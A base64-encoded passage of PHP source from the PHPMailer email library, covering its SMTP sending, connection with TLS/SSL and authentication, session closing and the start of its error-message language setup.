cnIgYXMgJHRvQWRkcikgewogICAgICAgICAgICAgICAgJHJlc3VsdCA9ICR0aGlzLT5tYWlsUGFzc3RocnUoJHRvQWRkciwgJHRoaXMtPlN1YmplY3QsICRib2R5LCAkaGVhZGVyLCAkcGFyYW1zKTsKICAgICAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsIFskdG9BZGRyXSwgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tLCBbXSk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPm1haWxQYXNzdGhydSgkdG8sICR0aGlzLT5TdWJqZWN0LCAkYm9keSwgJGhlYWRlciwgJHBhcmFtcyk7CiAgICAgICAgICAgICR0aGlzLT5kb0NhbGxiYWNrKCRyZXN1bHQsICR0aGlzLT50bywgJHRoaXMtPmNjLCAkdGhpcy0+YmNjLCAkdGhpcy0+U3ViamVjdCwgJGJvZHksICR0aGlzLT5Gcm9tLCBbXSk7CiAgICAgICAgfQogICAgICAgIGlmIChpc3NldCgkb2xkX2Zyb20pKSB7CiAgICAgICAgICAgIGluaV9zZXQoJ3NlbmRtYWlsX2Zyb20nLCAkb2xkX2Zyb20pOwogICAgICAgIH0KICAgICAgICBpZiAoISRyZXN1bHQpIHsKICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnaW5zdGFudGlhdGUnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiB0cnVlOwogICAgfQogICAgLyoqCiAgICAgKiBHZXQgYW4gaW5zdGFuY2UgdG8gdXNlIGZvciBTTVRQIG9wZXJhdGlvbnMuCiAgICAgKiBPdmVycmlkZSB0aGlzIGZ1bmN0aW9uIHRvIGxvYWQgeW91ciBvd24gU01UUCBpbXBsZW1lbnRhdGlvbiwKICAgICAqIG9yIHNldCBvbmUgd2l0aCBzZXRTTVRQSW5zdGFuY2UuCiAgICAgKgogICAgICogQHJldHVybiBTTVRQCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRTTVRQSW5zdGFuY2UoKQogICAgewogICAgICAgIGlmICghaXNfb2JqZWN0KCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkdGhpcy0+c210cCA9IG5ldyBTTVRQKCk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkdGhpcy0+c210cDsKICAgIH0KICAgIC8qKgogICAgICogUHJvdmlkZSBhbiBpbnN0YW5jZSB0byB1c2UgZm9yIFNNVFAgb3BlcmF0aW9ucy4KICAgICAqCiAgICAgKiBAcGFyYW0gU01UUCAkc210cAogICAgICoKICAgICAqIEByZXR1cm4gU01UUAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0U01UUEluc3RhbmNlKFNNVFAgJHNtdHApCiAgICB7CiAgICAgICAgJHRoaXMtPnNtdHAgPSAkc210cDsKICAgICAgICByZXR1cm4gJHRoaXMtPnNtdHA7CiAgICB9CiAgICAvKioKICAgICAqIFNlbmQgbWFpbCB2aWEgU01UUC4KICAgICAqIFJldHVybnMgZmFsc2UgaWYgdGhlcmUgaXMgYSBiYWQgTUFJTCBGUk9NLCBSQ1BULCBvciBEQVRBIGlucHV0LgogICAgICoKICAgICAqIEBzZWUgUEhQTWFpbGVyOjpzZXRTTVRQSW5zdGFuY2UoKSB0byB1c2UgYSBkaWZmZXJlbnQgY2xhc3MuCiAgICAgKgogICAgICogQHVzZXMgXFBIUE1haWxlclxQSFBNYWlsZXJcU01UUAogICAgICoKICAgICAqIEBwYXJhbSBzdHJpbmcgJGhlYWRlciBUaGUgbWVzc2FnZSBoZWFkZXJzCiAgICAgKiBAcGFyYW0gc3RyaW5nICRib2R5ICAgVGhlIG1lc3NhZ2UgYm9keQogICAgICoKICAgICAqIEB0aHJvd3MgRXhjZXB0aW9uCiAgICAgKgogICAgICogQHJldHVybiBib29sCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzbXRwU2VuZCgkaGVhZGVyLCAkYm9keSkKICAgIHsKICAgICAgICAkYmFkX3JjcHQgPSBbXTsKICAgICAgICBpZiAoISR0aGlzLT5zbXRwQ29ubmVjdCgkdGhpcy0+U01UUE9wdGlvbnMpKSB7CiAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgIC8vU2VuZGVyIGFscmVhZHkgdmFsaWRhdGVkIGluIHByZVNlbmQoKQogICAgICAgIGlmICgnJyA9PSAkdGhpcy0+U2VuZGVyKSB7CiAgICAgICAgICAgICRzbXRwX2Zyb20gPSAkdGhpcy0+RnJvbTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkc210cF9mcm9tID0gJHRoaXMtPlNlbmRlcjsKICAgICAgICB9CiAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+bWFpbCgkc210cF9mcm9tKSkgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ2Zyb21fZmFpbGVkJykgLiAkc210cF9mcm9tIC4gJyA6ICcgLiBpbXBsb2RlKCcsJywgJHRoaXMtPnNtdHAtPmdldEVycm9yKCkpKTsKICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+RXJyb3JJbmZvLCBzZWxmOjpTVE9QX0NSSVRJQ0FMKTsKICAgICAgICB9CiAgICAgICAgJGNhbGxiYWNrcyA9IFtdOwogICAgICAgIC8vIEF0dGVtcHQgdG8gc2VuZCB0byBhbGwgcmVjaXBpZW50cwogICAgICAgIGZvcmVhY2ggKFskdGhpcy0+dG8sICR0aGlzLT5jYywgJHRoaXMtPmJjY10gYXMgJHRvZ3JvdXApIHsKICAgICAgICAgICAgZm9yZWFjaCAoJHRvZ3JvdXAgYXMgJHRvKSB7CiAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5yZWNpcGllbnQoJHRvWzBdLCAkdGhpcy0+ZHNuKSkgewogICAgICAgICAgICAgICAgICAgICRlcnJvciA9ICR0aGlzLT5zbXRwLT5nZXRFcnJvcigpOwogICAgICAgICAgICAgICAgICAgICRiYWRfcmNwdFtdID0gWyd0bycgPT4gJHRvWzBdLCAnZXJyb3InID0+ICRlcnJvclsnZGV0YWlsJ11dOwogICAgICAgICAgICAgICAgICAgICRpc1NlbnQgPSBmYWxzZTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJGlzU2VudCA9IHRydWU7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkY2FsbGJhY2tzW10gPSBbJ2lzc2VudCcgPT4gJGlzU2VudCwgJ3RvJyA9PiAkdG9bMF1dOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIC8vIE9ubHkgc2VuZCB0aGUgREFUQSBjb21tYW5kIGlmIHdlIGhhdmUgdmlhYmxlIHJlY2lwaWVudHMKICAgICAgICBpZiAoKGNvdW50KCR0aGlzLT5hbGxfcmVjaXBpZW50cykgPiBjb3VudCgkYmFkX3JjcHQpKSBhbmQgISR0aGlzLT5zbXRwLT5kYXRhKCRoZWFkZXIgLiAkYm9keSkpIHsKICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZGF0YV9ub3RfYWNjZXB0ZWQnKSwgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgfQogICAgICAgICRzbXRwX3RyYW5zYWN0aW9uX2lkID0gJHRoaXMtPnNtdHAtPmdldExhc3RUcmFuc2FjdGlvbklEKCk7CiAgICAgICAgaWYgKCR0aGlzLT5TTVRQS2VlcEFsaXZlKSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5yZXNldCgpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIH0KICAgICAgICBmb3JlYWNoICgkY2FsbGJhY2tzIGFzICRjYikgewogICAgICAgICAgICAkdGhpcy0+ZG9DYWxsYmFjaygKICAgICAgICAgICAgICAgICRjYlsnaXNzZW50J10sCiAgICAgICAgICAgICAgICBbJGNiWyd0byddXSwKICAgICAgICAgICAgICAgIFtdLAogICAgICAgICAgICAgICAgW10sCiAgICAgICAgICAgICAgICAkdGhpcy0+U3ViamVjdCwKICAgICAgICAgICAgICAgICRib2R5LAogICAgICAgICAgICAgICAgJHRoaXMtPkZyb20sCiAgICAgICAgICAgICAgICBbJ3NtdHBfdHJhbnNhY3Rpb25faWQnID0+ICRzbXRwX3RyYW5zYWN0aW9uX2lkXQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICAvL0NyZWF0ZSBlcnJvciBtZXNzYWdlIGZvciBhbnkgYmFkIGFkZHJlc3NlcwogICAgICAgIGlmIChjb3VudCgkYmFkX3JjcHQpID4gMCkgewogICAgICAgICAgICAkZXJyc3RyID0gJyc7CiAgICAgICAgICAgIGZvcmVhY2ggKCRiYWRfcmNwdCBhcyAkYmFkKSB7CiAgICAgICAgICAgICAgICAkZXJyc3RyIC49ICRiYWRbJ3RvJ10gLiAnOiAnIC4gJGJhZFsnZXJyb3InXTsKICAgICAgICAgICAgfQogICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKAogICAgICAgICAgICAgICAgJHRoaXMtPmxhbmcoJ3JlY2lwaWVudHNfZmFpbGVkJykgLiAkZXJyc3RyLAogICAgICAgICAgICAgICAgc2VsZjo6U1RPUF9DT05USU5VRQogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIC8qKgogICAgICogSW5pdGlhdGUgYSBjb25uZWN0aW9uIHRvIGFuIFNNVFAgc2VydmVyLgogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgb3BlcmF0aW9uIGZhaWxlZC4KICAgICAqCiAgICAgKiBAcGFyYW0gYXJyYXkgJG9wdGlvbnMgQW4gYXJyYXkgb2Ygb3B0aW9ucyBjb21wYXRpYmxlIHdpdGggc3RyZWFtX2NvbnRleHRfY3JlYXRlKCkKICAgICAqCiAgICAgKiBAdGhyb3dzIEV4Y2VwdGlvbgogICAgICoKICAgICAqIEB1c2VzIFxQSFBNYWlsZXJcUEhQTWFpbGVyXFNNVFAKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNtdHBDb25uZWN0KCRvcHRpb25zID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAobnVsbCA9PT0gJHRoaXMtPnNtdHApIHsKICAgICAgICAgICAgJHRoaXMtPnNtdHAgPSAkdGhpcy0+Z2V0U01UUEluc3RhbmNlKCk7CiAgICAgICAgfQogICAgICAgIC8vSWYgbm8gb3B0aW9ucyBhcmUgcHJvdmlkZWQsIHVzZSB3aGF0ZXZlciBpcyBzZXQgaW4gdGhlIGluc3RhbmNlCiAgICAgICAgaWYgKG51bGwgPT09ICRvcHRpb25zKSB7CiAgICAgICAgICAgICRvcHRpb25zID0gJHRoaXMtPlNNVFBPcHRpb25zOwogICAgICAgIH0KICAgICAgICAvLyBBbHJlYWR5IGNvbm5lY3RlZD8KICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3RlZCgpKSB7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+c210cC0+c2V0VGltZW91dCgkdGhpcy0+VGltZW91dCk7CiAgICAgICAgJHRoaXMtPnNtdHAtPnNldERlYnVnTGV2ZWwoJHRoaXMtPlNNVFBEZWJ1Zyk7CiAgICAgICAgJHRoaXMtPnNtdHAtPnNldERlYnVnT3V0cHV0KCR0aGlzLT5EZWJ1Z291dHB1dCk7CiAgICAgICAgJHRoaXMtPnNtdHAtPnNldFZlcnAoJHRoaXMtPmRvX3ZlcnApOwogICAgICAgICRob3N0cyA9IGV4cGxvZGUoJzsnLCAkdGhpcy0+SG9zdCk7CiAgICAgICAgJGxhc3RleGNlcHRpb24gPSBudWxsOwogICAgICAgIGZvcmVhY2ggKCRob3N0cyBhcyAkaG9zdGVudHJ5KSB7CiAgICAgICAgICAgICRob3N0aW5mbyA9IFtdOwogICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goCiAgICAgICAgICAgICAgICAnL14oKHNzbHx0bHMpOlwvXC8pKihbYS16QS1aMC05XC4tXSp8XFtbYS1mQS1GMC05Ol0rXF0pOj8oWzAtOV0qKSQvJywKICAgICAgICAgICAgICAgIHRyaW0oJGhvc3RlbnRyeSksCiAgICAgICAgICAgICAgICAkaG9zdGluZm8KICAgICAgICAgICAgKSkgewogICAgICAgICAgICAgICAgc3RhdGljOjplZGVidWcoJHRoaXMtPmxhbmcoJ2Nvbm5lY3RfaG9zdCcpIC4gJyAnIC4gJGhvc3RlbnRyeSk7CiAgICAgICAgICAgICAgICAvLyBOb3QgYSB2YWxpZCBob3N0IGVudHJ5CiAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyAkaG9zdGluZm9bMl06IG9wdGlvbmFsIHNzbCBvciB0bHMgcHJlZml4CiAgICAgICAgICAgIC8vICRob3N0aW5mb1szXTogdGhlIGhvc3RuYW1lCiAgICAgICAgICAgIC8vICRob3N0aW5mb1s0XTogb3B0aW9uYWwgcG9ydCBudW1iZXIKICAgICAgICAgICAgLy8gVGhlIGhvc3Qgc3RyaW5nIHByZWZpeCBjYW4gdGVtcG9yYXJpbHkgb3ZlcnJpZGUgdGhlIGN1cnJlbnQgc2V0dGluZyBmb3IgU01UUFNlY3VyZQogICAgICAgICAgICAvLyBJZiBpdCdzIG5vdCBzcGVjaWZpZWQsIHRoZSBkZWZhdWx0IHZhbHVlIGlzIHVzZWQKICAgICAgICAgICAgLy9DaGVjayB0aGUgaG9zdCBuYW1lIGlzIGEgdmFsaWQgbmFtZSBvciBJUCBhZGRyZXNzIGJlZm9yZSB0cnlpbmcgdG8gdXNlIGl0CiAgICAgICAgICAgIGlmICghc3RhdGljOjppc1ZhbGlkSG9zdCgkaG9zdGluZm9bM10pKSB7CiAgICAgICAgICAgICAgICBzdGF0aWM6OmVkZWJ1ZygkdGhpcy0+bGFuZygnY29ubmVjdF9ob3N0JykgLiAnICcgLiAkaG9zdGVudHJ5KTsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRwcmVmaXggPSAnJzsKICAgICAgICAgICAgJHNlY3VyZSA9ICR0aGlzLT5TTVRQU2VjdXJlOwogICAgICAgICAgICAkdGxzID0gKCd0bHMnID09ICR0aGlzLT5TTVRQU2VjdXJlKTsKICAgICAgICAgICAgaWYgKCdzc2wnID09ICRob3N0aW5mb1syXSBvciAoJycgPT0gJGhvc3RpbmZvWzJdIGFuZCAnc3NsJyA9PSAkdGhpcy0+U01UUFNlY3VyZSkpIHsKICAgICAgICAgICAgICAgICRwcmVmaXggPSAnc3NsOi8vJzsKICAgICAgICAgICAgICAgICR0bHMgPSBmYWxzZTsgLy8gQ2FuJ3QgaGF2ZSBTU0wgYW5kIFRMUyBhdCB0aGUgc2FtZSB0aW1lCiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3NzbCc7CiAgICAgICAgICAgIH0gZWxzZWlmICgndGxzJyA9PSAkaG9zdGluZm9bMl0pIHsKICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgLy8gdGxzIGRvZXNuJ3QgdXNlIGEgcHJlZml4CiAgICAgICAgICAgICAgICAkc2VjdXJlID0gJ3Rscyc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgLy9EbyB3ZSBuZWVkIHRoZSBPcGVuU1NMIGV4dGVuc2lvbj8KICAgICAgICAgICAgJHNzbGV4dCA9IGRlZmluZWQoJ09QRU5TU0xfQUxHT19TSEEyNTYnKTsKICAgICAgICAgICAgaWYgKCd0bHMnID09PSAkc2VjdXJlIG9yICdzc2wnID09PSAkc2VjdXJlKSB7CiAgICAgICAgICAgICAgICAvL0NoZWNrIGZvciBhbiBPcGVuU1NMIGNvbnN0YW50IHJhdGhlciB0aGFuIHVzaW5nIGV4dGVuc2lvbl9sb2FkZWQsIHdoaWNoIGlzIHNvbWV0aW1lcyBkaXNhYmxlZAogICAgICAgICAgICAgICAgaWYgKCEkc3NsZXh0KSB7CiAgICAgICAgICAgICAgICAgICAgdGhyb3cgbmV3IEV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJywgc2VsZjo6U1RPUF9DUklUSUNBTCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGhvc3QgPSAkaG9zdGluZm9bM107CiAgICAgICAgICAgICRwb3J0ID0gJHRoaXMtPlBvcnQ7CiAgICAgICAgICAgICR0cG9ydCA9IChpbnQpICRob3N0aW5mb1s0XTsKICAgICAgICAgICAgaWYgKCR0cG9ydCA+IDAgYW5kICR0cG9ydCA8IDY1NTM2KSB7CiAgICAgICAgICAgICAgICAkcG9ydCA9ICR0cG9ydDsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJHRoaXMtPnNtdHAtPmNvbm5lY3QoJHByZWZpeCAuICRob3N0LCAkcG9ydCwgJHRoaXMtPlRpbWVvdXQsICRvcHRpb25zKSkgewogICAgICAgICAgICAgICAgdHJ5IHsKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPkhlbG8pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGhlbGxvID0gJHRoaXMtPkhlbG87CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGhlbGxvID0gJHRoaXMtPnNlcnZlckhvc3RuYW1lKCk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5oZWxsbygkaGVsbG8pOwogICAgICAgICAgICAgICAgICAgIC8vQXV0b21hdGljYWxseSBlbmFibGUgVExTIGVuY3J5cHRpb24gaWY6CiAgICAgICAgICAgICAgICAgICAgLy8gKiBpdCdzIG5vdCBkaXNhYmxlZAogICAgICAgICAgICAgICAgICAgIC8vICogd2UgaGF2ZSBvcGVuc3NsIGV4dGVuc2lvbgogICAgICAgICAgICAgICAgICAgIC8vICogd2UgYXJlIG5vdCBhbHJlYWR5IHVzaW5nIFNTTAogICAgICAgICAgICAgICAgICAgIC8vICogdGhlIHNlcnZlciBvZmZlcnMgU1RBUlRUTFMKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPlNNVFBBdXRvVExTIGFuZCAkc3NsZXh0IGFuZCAnc3NsJyAhPSAkc2VjdXJlIGFuZCAkdGhpcy0+c210cC0+Z2V0U2VydmVyRXh0KCdTVEFSVFRMUycpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR0bHMgPSB0cnVlOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBpZiAoJHRscykgewogICAgICAgICAgICAgICAgICAgICAgICBpZiAoISR0aGlzLT5zbXRwLT5zdGFydFRMUygpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdjb25uZWN0X2hvc3QnKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgLy8gV2UgbXVzdCByZXNlbmQgRUhMTyBhZnRlciBUTFMgbmVnb3RpYXRpb24KICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPmhlbGxvKCRoZWxsbyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkdGhpcy0+U01UUEF1dGgpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkdGhpcy0+c210cC0+YXV0aGVudGljYXRlKAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlVzZXJuYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPlBhc3N3b3JkLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkF1dGhUeXBlLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPm9hdXRoCiAgICAgICAgICAgICAgICAgICAgICAgICkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2F1dGhlbnRpY2F0ZScpKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICAgICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICAgICAgICAgJGxhc3RleGNlcHRpb24gPSAkZXhjOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5lZGVidWcoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgICAgICAgICAvLyBXZSBtdXN0IGhhdmUgY29ubmVjdGVkLCBidXQgdGhlbiBmYWlsZWQgVExTIG9yIEF1dGgsIHNvIGNsb3NlIGNvbm5lY3Rpb24gbmljZWx5CiAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNtdHAtPnF1aXQoKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAvLyBJZiB3ZSBnZXQgaGVyZSwgYWxsIGNvbm5lY3Rpb24gYXR0ZW1wdHMgaGF2ZSBmYWlsZWQsIHNvIGNsb3NlIGNvbm5lY3Rpb24gaGFyZAogICAgICAgICR0aGlzLT5zbXRwLT5jbG9zZSgpOwogICAgICAgIC8vIEFzIHdlJ3ZlIGNhdWdodCBhbGwgZXhjZXB0aW9ucywganVzdCByZXBvcnQgd2hhdGV2ZXIgdGhlIGxhc3Qgb25lIHdhcwogICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucyBhbmQgbnVsbCAhPT0gJGxhc3RleGNlcHRpb24pIHsKICAgICAgICAgICAgdGhyb3cgJGxhc3RleGNlcHRpb247CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KICAgIC8qKgogICAgICogQ2xvc2UgdGhlIGFjdGl2ZSBTTVRQIHNlc3Npb24gaWYgb25lIGV4aXN0cy4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNtdHBDbG9zZSgpCiAgICB7CiAgICAgICAgaWYgKG51bGwgIT09ICR0aGlzLT5zbXRwKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+c210cC0+Y29ubmVjdGVkKCkpIHsKICAgICAgICAgICAgICAgICR0aGlzLT5zbXRwLT5xdWl0KCk7CiAgICAgICAgICAgICAgICAkdGhpcy0+c210cC0+Y2xvc2UoKTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KICAgIC8qKgogICAgICogU2V0IHRoZSBsYW5ndWFnZSBmb3IgZXJyb3IgbWVzc2FnZXMuCiAgICAgKiBSZXR1cm5zIGZhbHNlIGlmIGl0IGNhbm5vdCBsb2FkIHRoZSBsYW5ndWFnZSBmaWxlLgogICAgICogVGhlIGRlZmF1bHQgbGFuZ3VhZ2UgaXMgRW5nbGlzaC4KICAgICAqCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nY29kZSAgSVNPIDYzOS0xIDItY2hhcmFjdGVyIGxhbmd1YWdlIGNvZGUgKGUuZy4gRnJlbmNoIGlzICJmciIpCiAgICAgKiBAcGFyYW0gc3RyaW5nICRsYW5nX3BhdGggUGF0aCB0byB0aGUgbGFuZ3VhZ2UgZmlsZSBkaXJlY3RvcnksIHdpdGggdHJhaWxpbmcgc2VwYXJhdG9yIChzbGFzaCkKICAgICAqCiAgICAgKiBAcmV0dXJuIGJvb2wKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNldExhbmd1YWdlKCRsYW5nY29kZSA9ICdlbicsICRsYW5nX3BhdGggPSAnJykKICAgIHsKICAgICAgICAvLyBCYWNrd2FyZHMgY29tcGF0aWJpbGl0eSBmb3IgcmVuYW1lZCBsYW5ndWFnZSBjb2RlcwogICAgICAgICRyZW5hbWVkX2xhbmdjb2RlcyA9IFsKICAgICAgICAgICAgJ2JyJyA9PiAncHRfYnInLAogICAgICAgICAgICAnY3onID0+ICdjcycsCiAgICAgICAgICAgICdkaycgPT4gJ2RhJywKICAgICAgICAgICAgJ25vJyA9PiAnbmInLAogICAgICAgICAgICAnc2UnID0+ICdzdicsCiAgICAgICAgICAgICdycycgPT4gJ3NyJywKICAgICAgICAgICAgJ3RnJyA9PiAndGwnLAogICAgICAgIF07CiAgICAgICAgaWYgKGlzc2V0KCRyZW5hbWVkX2xhbmdjb2Rlc1skbGFuZ2NvZGVdKSkgewogICAgICAgICAgICAkbGFuZ2NvZGUgPSAkcmVuYW1lZF9sYW5nY29kZXNbJGxhbmdjb2RlXTsKICAgICAgICB9CiAgICAgICAgLy8gRGVmaW5lIGZ1bGwgc2V0IG9mIHRyYW5zbGF0YWJsZSBzdHJpbmdzIGluIEVuZ2xpc2gKICAgICAgICAkUEhQTUFJTEVSX0xBTkcgPSBbCiAgICAgICAgICAgICdhdXRoZW50aWNhdGUnID0+ICdTTVRQIEVycm9yOiBDb3VsZCBub3QgYXV0aGVudGljYXRlLicsCiAgICAgICAgICAgICdjb25uZWN0X2hvc3QnID0+ICdTTVRQIEVycm9yOiBDb3VsZCBub3QgY29ubmVjdCB0byBTTVRQIGhvc3QuJywKICAgICAgICAgICAgJ2RhdGFfbm90X2FjY2VwdGVkJyA9PiAnU01UUCBFcnJvcjogZGF0YSBub3QgYWNjZXB0ZWQuJywKICAgICAgICAgICAgJ2VtcHR5X21lc3NhZ2UnID0+ICdNZXNzYWdlIGJvZHkgZW1wdHknLAogICAgICAgICAgICAnZW5jb2RpbmcnID0+ICdVbmtub3duIGVuY29kaW5nOiAnLAogICAgICAgICAgICAnZXhlY3V0ZScgPT4gJ0NvdWxkIG5vdCBleGVjdXRlOiAnLAogICAgICAgICAgICAnZmlsZV9hY2Nlc3MnID0+ICdDb3VsZCBub3QgYWNjZXNzIGZpbGU6ICcsCiAgICAgICAgICAgICdmaWxlX29wZW4nID0+ICdGaWxlIEVycm9yOiBDb3VsZCBub3Qgb3BlbiBmaWxlOiAnLAogICAgICAgICAgICAnZnJvbV9mYWlsZWQnID0+ICdUaGUgZm9sbG93aW5nIEZyb20gYWRkcmVzcyBmYWlsZWQ6ICcsCiAgICAgICAgICAgICdpbnN0YW50aWF0ZScgPT4gJ0NvdWxkIG5vdCBpbnN0YW50aWF0ZSBtYWlsIGZ1bmN0aW9uLicsCiAgICAgICAgICAgICdpbnZhbGlkX2FkZHJlc3MnID0+ICdJbnZhbGlkIGFkZHJlc3M6ICcsCiAgICAgICAgICAgICdtYWlsZXJfbm90X3N1cHBvcnRlZCcgPT4gJyBtYWlsZXIgaXMgbm90IHN1cHBvcnRlZC4nLAogICAgICAgICAgICAncHJvdmlkZV9hZGRyZXNzJyA9PiAnWW91IG11c3QgcHJvdmlkZSBhdCBsZWFzdCBvbmUgcmVjaXBpZW50IGVtYWlsIGFkZHJlc3MuJywKICAgICAgICAgICAgJ3JlY2lwaWVudHNfZmFpbGVkJyA9PiAnU01UUCBFcnJvcjogVGhlIGZvbGxvd2luZyByZWNpcGllbnRzIGZhaWxlZDogJywKICAgICAgICAgICAgJ3NpZ25pbmcnID0+ICdTaWduaW5nIEVycm9yOiAnLAogICAgICAgICAgICAnc210cF9jb25uZWN0X2ZhaWxlZCcgPT4gJ1NNVFAgY29ubmVjdCgpIGZhaWxlZC4nLAogICAgICAgICAgICAnc210cF9lcnJvcicgPT4gJ1NNVFAgc2VydmVyIGVycm9yOiAnLAogICAgICAgICAgICAndmFyaWFibGVfc2V0JyA9PiAnQ2Fubm90IHNldCBvciByZXNldCB2YXJpYWJsZTogJywKICAgICAgICAgICAgJ2V4dGVuc2lvbl9taXNzaW5nJyA9PiAnRXh0ZW5zaW9uIG1pc3Npbmc6ICcsCiAgICAgICAgXTsKICAgICAgICBpZiAoZW1wdHkoJGxhbmdfcGF0aCkpIHsKICAgICAgICAgICAgLy8gQ2FsY3VsYXRlIGFuIGFic29sdXRlIHBhdGggc28gaXQgY2FuIHdvcmsgaWYgQ1dEIGlzIG5vdCBoZXJlCiAgICAgICAgICAgICRsYW5nX3BhdGggPSBkaXJuYW1lKF9fRElSX18pIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICdsYW5ndWFnZScgLiBESVJFQ1RPUllfU0VQQVJBVE9SOwogICAgICAgIH0KICAgICAgICAvL1ZhbGlkYXRlICRsYW5nY29kZQogICAgICAgIGlmICghcHJlZ19tYXRjaCgnL15bYS16XXsyfSg/Ol9bYS16QS1aXXsyfSk/JC8nLCAkbGFuZ2NvZGUpKSB7CiAgICAgICAgICAgICRsYW5nY29kZSA9ICdlbic7CiAgICAgICAgfQogICAgICAgICRmb3VuZGxhbmcgPSB0cn